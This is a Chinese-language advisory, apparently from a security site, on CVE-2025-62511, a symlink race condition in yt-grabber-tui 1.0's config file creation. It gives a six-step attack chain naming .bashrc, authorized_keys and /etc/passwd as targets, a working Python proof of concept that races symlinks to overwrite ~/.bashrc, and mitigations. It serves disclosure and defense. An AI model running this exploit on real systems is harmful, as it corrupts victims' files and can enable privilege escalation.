IPBUF安全漏洞报告
English
CVE-2025-62511 CVSS 6.3 中危

CVE-2025-62511 yt-grabber-tui TOCTOU竞争条件任意文件覆盖漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-62511
漏洞类型
TOCTOU竞争条件漏洞(任意文件覆盖)
CVSS评分
6.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
yt-grabber-tui

相关标签

TOCTOU竞争条件CWE-367任意文件覆盖符号链接攻击yt-grabber-tuiC++本地提权配置文件GitHub安全公告

漏洞概述

yt-grabber-tui是一款基于C++开发的终端用户界面(TUI)应用程序,主要用于下载YouTube内容。该项目在GitHub上开源,版本1.0中存在一个Time-of-Check to Time-of-Use(TOCTOU)竞争条件漏洞(对应CWE-367)。该漏洞源于应用程序在创建默认配置文件config.json时,在检查文件是否存在和实际写入文件之间存在时间窗口,攻击者可以利用这个时间窗口通过符号链接(symlink)进行攻击。具体而言,当应用程序首次启动时,会检查~/.config/yt-grabber-tui/config.json(Linux)或当前工作目录下的config.json(Windows)是否存在。如果文件不存在,应用程序会创建并写入默认配置。然而,在文件存在性检查(boost::filesystem::exists)和文件写入(boost::property_tree::write_json)之间存在一个可被利用的时间差。拥有该配置目录写权限的本地攻击者可以在这个时间窗口内创建符号链接,使得写入操作跟随符号链接指向攻击者选择的任意文件,从而实现任意文件覆盖。该漏洞的CVSS 3.1评分为6.3,属于中等严重等级。虽然攻击需要本地访问和低权限,但成功利用后可以以应用程序进程的权限覆盖任意文件,可能导致应用程序或用户数据损坏。如果应用程序以提升的权限运行,攻击甚至可能扩展到系统文件的损坏。该漏洞已在版本1.0.1中修复,修复方式为使用原子操作或安全的文件创建方式(如O_CREAT|O_EXCL)来避免竞争条件。

技术细节

yt-grabber-tui版本1.0中的漏洞存在于Settings.hpp文件的load_json_settings函数中。该函数首先使用boost::filesystem::exists检查config.json文件是否存在,如果文件不存在,则调用create_json_settings函数使用boost::property_tree::write_json写入默认JSON配置。这个过程存在典型的TOCTOU竞争条件:

1. **检查阶段(Time-of-Check)**:应用程序调用boost::filesystem::exists(config_path)检查config.json是否存在。此时config.json确实不存在。

2. **竞争窗口**:在exists检查返回false之后,write_json调用之前,存在一个微小但可利用的时间窗口。

3. **攻击者介入**:拥有配置目录写权限的本地攻击者利用这个时间窗口,在配置目录中创建一个指向敏感文件的符号链接(例如~/.config/yt-grabber-tui/config.json -> /home/user/.bashrc或/etc/passwd)。

4. **使用阶段(Time-of-Use)**:应用程序调用write_json写入配置文件,但此时由于符号链接的存在,写入操作会跟随符号链接,将JSON配置内容写入到攻击者指定的敏感文件中。

利用条件:
- 攻击者需要对配置目录有写权限(~/.config/yt-grabber-tui/在Linux上,或当前工作目录在Windows上)
- 需要应用程序进程以足够权限运行,以便覆盖目标文件
- 需要在正确的时间窗口内完成符号链接创建

利用方式:攻击者可以编写一个持续监控配置目录的脚本,在检测到应用程序启动时迅速创建符号链接。重复运行应用程序可以增加攻击成功的概率。成功利用后,攻击者可以覆盖用户的关键配置文件(如.bashrc、.ssh/authorized_keys等),如果应用程序以root权限运行,甚至可以覆盖系统关键文件。

攻击链分析

STEP 1
步骤1:环境准备
攻击者获得对目标系统配置目录的写权限。在Linux上为~/.config/yt-grabber-tui/,在Windows上为应用程序的当前工作目录。攻击者还需要确定要覆盖的目标文件。
STEP 2
步骤2:竞争窗口监控
攻击者启动一个持续运行的脚本,持续监控配置目录,在配置目录中快速创建和删除指向目标文件的符号链接(如~/.config/yt-grabber-tui/config.json -> /home/victim/.bashrc)。
STEP 3
步骤3:触发应用程序
攻击者通过诱导用户或等待条件满足,触发yt-grabber-tui应用程序启动(或通过重复执行来增加成功概率)。
STEP 4
步骤4:竞争条件利用
应用程序调用boost::filesystem::exists检查config.json是否存在(返回false),然后在调用write_json写入之前,攻击者的脚本成功创建了指向目标文件的符号链接。
STEP 5
步骤5:任意文件覆盖
write_json操作跟随符号链接,将JSON配置内容写入到攻击者指定的任意文件中,实现任意文件覆盖。
STEP 6
步骤6:影响扩大
根据应用程序运行的权限级别,攻击者可能覆盖用户关键配置文件(导致数据损坏)、SSH密钥(导致未授权访问),或系统文件(如果以root权限运行),最终实现权限提升或持久化访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-62511 PoC - TOCTOU Race Condition in yt-grabber-tui config.json creation This PoC demonstrates the TOCTOU race condition exploitation by rapidly creating symlinks in the config directory between the existence check and file write. """ import os import sys import time import threading import subprocess import shutil CONFIG_DIR = os.path.expanduser("~/.config/yt-grabber-tui") CONFIG_FILE = os.path.join(CONFIG_DIR, "config.json") TARGET_FILE = os.path.expanduser("~/.bashrc") # Target file to overwrite def cleanup(): """Clean up any existing config directory or symlinks""" if os.path.exists(CONFIG_FILE) or os.path.islink(CONFIG_FILE): try: os.unlink(CONFIG_FILE) except OSError: pass if os.path.isdir(CONFIG_DIR) and not os.listdir(CONFIG_DIR): os.rmdir(CONFIG_DIR) def race_symlink_creator(stop_event): """ Continuously create and remove symlinks to win the race condition. This runs in a tight loop to maximize the chance of the symlink being created between the existence check and the file write. """ while not stop_event.is_set(): try: # Remove existing file/symlink if present if os.path.exists(CONFIG_FILE) or os.path.islink(CONFIG_FILE): os.unlink(CONFIG_FILE) # Create symlink pointing to attacker-chosen target file os.symlink(TARGET_FILE, CONFIG_FILE) # Brief sleep to allow the application to write through the symlink time.sleep(0.001) except OSError: # If symlink already exists or other error, retry time.sleep(0.0001) def trigger_application(): """Run the yt-grabber-tui application to trigger the vulnerable code path""" try: # Execute the application - it will check for config.json and try to create it subprocess.run( ["yt-grabber-tui"], timeout=5, capture_output=True ) except (subprocess.TimeoutExpired, FileNotFoundError): pass def verify_exploitation(): """Check if the target file has been overwritten with JSON content""" if os.path.islink(CONFIG_FILE): # Symlink still exists - check if target was modified try: with open(TARGET_FILE, 'r') as f: content = f.read() if '{' in content and '}' in content: print(f"[+] SUCCESS: Target file {TARGET_FILE} has been overwritten!") print(f"[+] First 200 chars of overwritten content: {content[:200]}") return True except (PermissionError, OSError): print(f"[-] Cannot read target file (may need elevated privileges)") return False def main(): print(f"[*] CVE-2025-62511 PoC - yt-grabber-tui TOCTOU Race Condition") print(f"[*] Config directory: {CONFIG_DIR}") print(f"[*] Target file: {TARGET_FILE}") print() # Clean up before exploitation cleanup() # Ensure config directory exists os.makedirs(CONFIG_DIR, exist_ok=True) stop_event = threading.Event() max_attempts = 50 for attempt in range(1, max_attempts + 1): print(f"[*] Attempt {attempt}/{max_attempts}...") # Clean up any previous artifacts if os.path.islink(CONFIG_FILE): os.unlink(CONFIG_FILE) # Start the symlink creator thread symlink_thread = threading.Thread(target=race_symlink_creator, args=(stop_event,)) symlink_thread.daemon = True symlink_thread.start() # Small delay to let symlink creator start time.sleep(0.01) # Trigger the application trigger_application() # Stop the symlink creator stop_event.set() symlink_thread.join(timeout=2) stop_event.clear() # Check if exploitation was successful if verify_exploitation(): print(f"\n[+] Exploitation successful after {attempt} attempt(s)!") sys.exit(0) # Clean up for next attempt if os.path.islink(CONFIG_FILE): os.unlink(CONFIG_FILE) print(f"\n[-] Exploitation failed after {max_attempts} attempts.") print("[-] The application may not be installed or the race window is too small.") cleanup() sys.exit(1) if __name__ == "__main__": main()

影响范围

yt-grabber-tui = 1.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制配置目录的写权限,确保只有可信用户才能访问~/.config/yt-grabber-tui/目录;2)监控配置目录中的可疑符号链接创建活动;3)避免以root或管理员权限运行yt-grabber-tui应用程序;4)使用文件系统监控工具(如inotifywait)检测配置目录中的异常活动;5)在多用户系统中,确保用户主目录的权限设置正确,防止其他用户创建符号链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表